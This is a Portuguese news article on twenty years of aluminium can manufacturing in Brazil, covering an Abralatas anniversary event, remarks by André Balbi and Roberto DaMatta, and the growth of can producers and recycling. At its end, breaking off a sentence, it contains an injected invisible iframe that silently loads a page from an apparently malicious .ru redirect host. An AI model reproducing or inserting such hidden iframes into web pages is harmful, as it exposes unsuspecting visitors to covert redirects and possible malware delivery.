O presidente da Abralatas, André Balbi, destacou em seu discurso de apresentação o espaço conquistado pela lata de alumínio nestes 20 anos de fabricação no Brasil. "É uma embalagem que entrou definitivamente no dia a dia do brasileiro". Balbi afirmou que a embalagem foi uma das pioneiras no sentido de aliar a idéia de modernidade e comodidade com a questão da preocupação ambiental e reciclagem. Ele lembrou que a reciclagem de latas foi o primeiro programa permanente de tratamento e reutilização de embalagens pós-consumo no Brasil.
O antropólogo Roberto DaMatta fez uma análise da evolução do conceito de consumo consciente ao longo dos diferentes períodos históricos da sociedade, mostrando mudanças na consciência planetária global e ecológica. Segundo ele, a sociedade vem desenvolvendo a noção de que há modos sustentáveis de explorar o mundo e que a prática da reutilização como, por exemplo, no caso da lata de alumínio (infinitamente reciclável), é um meio de impor limites ao uso de recursos naturais - mudando o pensamento de que esses seriam ilimitados, podendo ser indefinidamente explorados.
<i>"Vem um novo século, com um otimismo, uma cruzada não mais baseada na exploração brutal e continua dos recursos naturais, mas para a tomada de consciência de que a natureza inesgotável, fonte de vida e infindável riqueza, também tem limites"</i>, disse DaMatta.
Estiveram presentes na comemoração à data de fabricação da embalagem autoridades e representantes do setor como o presidente da Associação Brasileira de Alumínio (Abal), Adjarma Azevedo; o presidente do Instituto Brasileiro de Mineração (Ibram), Paulo Camilo Penna; o presidente da Novelis, Alexandre Almeida; o presidente da Associação Brasileira de Supermercados (Abras), Sussumo Honda; os deputados federais Fernando Gabeira (PV/RJ) e Arnaldo Jardim (PPS/SP), coordenador do GT de Resíduos Sólidos; e Silvano Silvério da Costa, representando o ministério do Meio Ambiente.
Durante a festa, os convidados tiveram a oportunidade de observar exposição com as fotos premiadas do primeiro concurso de fotografia da Abralatas, a primeira lata de alumínio produzida no Brasil, há 20 anos, em fábrica localizada em Pouso Alegre (MG), e uma mostra de artesanatos feitos a partir da sucata de latas de alumínio.
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<b>Produção de latas introduziu no país conceito da reutilização de embalagens</b>
A lata de alumínio começava a ser produzida no Brasil, em fábrica da antiga Latasa, em Pouso Alegre (MG), há 20 anos. Começava a história de sucesso da embalagem que introduziu no país o primeiro programa permanente de reutilização de embalagens pós-consumo e que alterou o mercado de bebidas. Desde o início de sua produção até hoje, a lata de alumínio vem aumentando sua participação no mercado brasileiro de embalagens para bebidas. Hoje, um terço das cervejas produzidas no Brasil é vendido em lata de alumínio.
O grande potencial de crescimento desse mercado logo despertou o interesse de grandes multinacionais do ramo pelo país. Em dezembro de 1996, a Crown Embalagens se instalava em Cabreúva (SP). No ano seguinte, a American National Can (ANC) inaugurava unidade em Extrema (MG) e a Latapack-Ball começava a operar em Jacareí (SP). Em 2000, a inglesa Rexam chegou ao país comprando a ANC e três anos depois as fábricas da Latasa.
Essas fabricantes rapidamente ampliaram a produtividade, fabricando corpo e tampa em locais estratégicos do país. Hoje a capacidade de fabricação chega a mais de 16 bilhões de unidades ao ano, em 15 fábricas espalhadas pelo país, sendo uma em construção com previsão de inauguração ainda para este ano.
A chegada da lata no Brasil foi fundamental para consagração do conceito de sustentabilidade e promoveu a criação do modelo brasileiro de reciclagem. <i>"Concebido como uma forma de tornar a embalagem mais acessível aos consumidores, esse modelo acabou tornando-se sustento para milhares de<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"> |